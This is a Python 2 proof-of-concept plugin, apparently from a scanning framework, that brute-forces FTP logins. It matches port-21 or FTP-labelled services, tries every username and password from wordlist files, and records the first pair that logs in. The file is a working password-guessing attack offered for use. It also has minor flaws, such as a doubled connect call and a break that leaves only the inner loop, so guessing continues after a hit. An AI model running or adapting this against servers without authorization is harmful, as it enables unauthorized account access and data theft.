from __future__ import with_statement


import urllib2

from lib.classloader import register
from lib.pocbase import  pocbase

import ftplib


class testpoc(pocbase):
    
    def __init__(self):        
        super(pocbase, self).__init__();
    
    def _match(self, infodict):
        port = infodict["port"];
        service_type = infodict["service_type"] if infodict.get("service_type") else "";
        version = infodict["service_version"] if infodict.get("service_version") else "";
        
        return int(port) == 21 or version.lower().find("ftp") != -1 or service_type.lower().find("ftp") != -1;

    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        result = infodict;
        result["success"] = False;
        
        with open("data/ftp-username.txt") as username:
            with open("data/ftp-password.txt") as password:
                usernames = username.readlines()
                passwords = password.readlines();
                for u in usernames:
                    for p in passwords:
                        u = u.strip()
                        p = p.strip();
                        u = u.replace("\r", "")
                        u = u.replace("\n", "")
                        p = p.replace("\r", "")
                        p = p.replace("\n", "")
                        try:
                            ftp = ftplib.FTP(timeout=5)
                            ret = ftp.connect(host=host, port=port, timeout=5)
                            welcome = ftp.connect(host=host, port=port, timeout=5)
                            login = ftp.login(user=u, passwd=p)
                            ls = ftp.nlst()
                            result["success"] = True;
                            result["extra"] = "username:password=%s:%s"%(u, p)
                            break;
                        except:
                            pass
        return result;

register(__file__, testpoc)
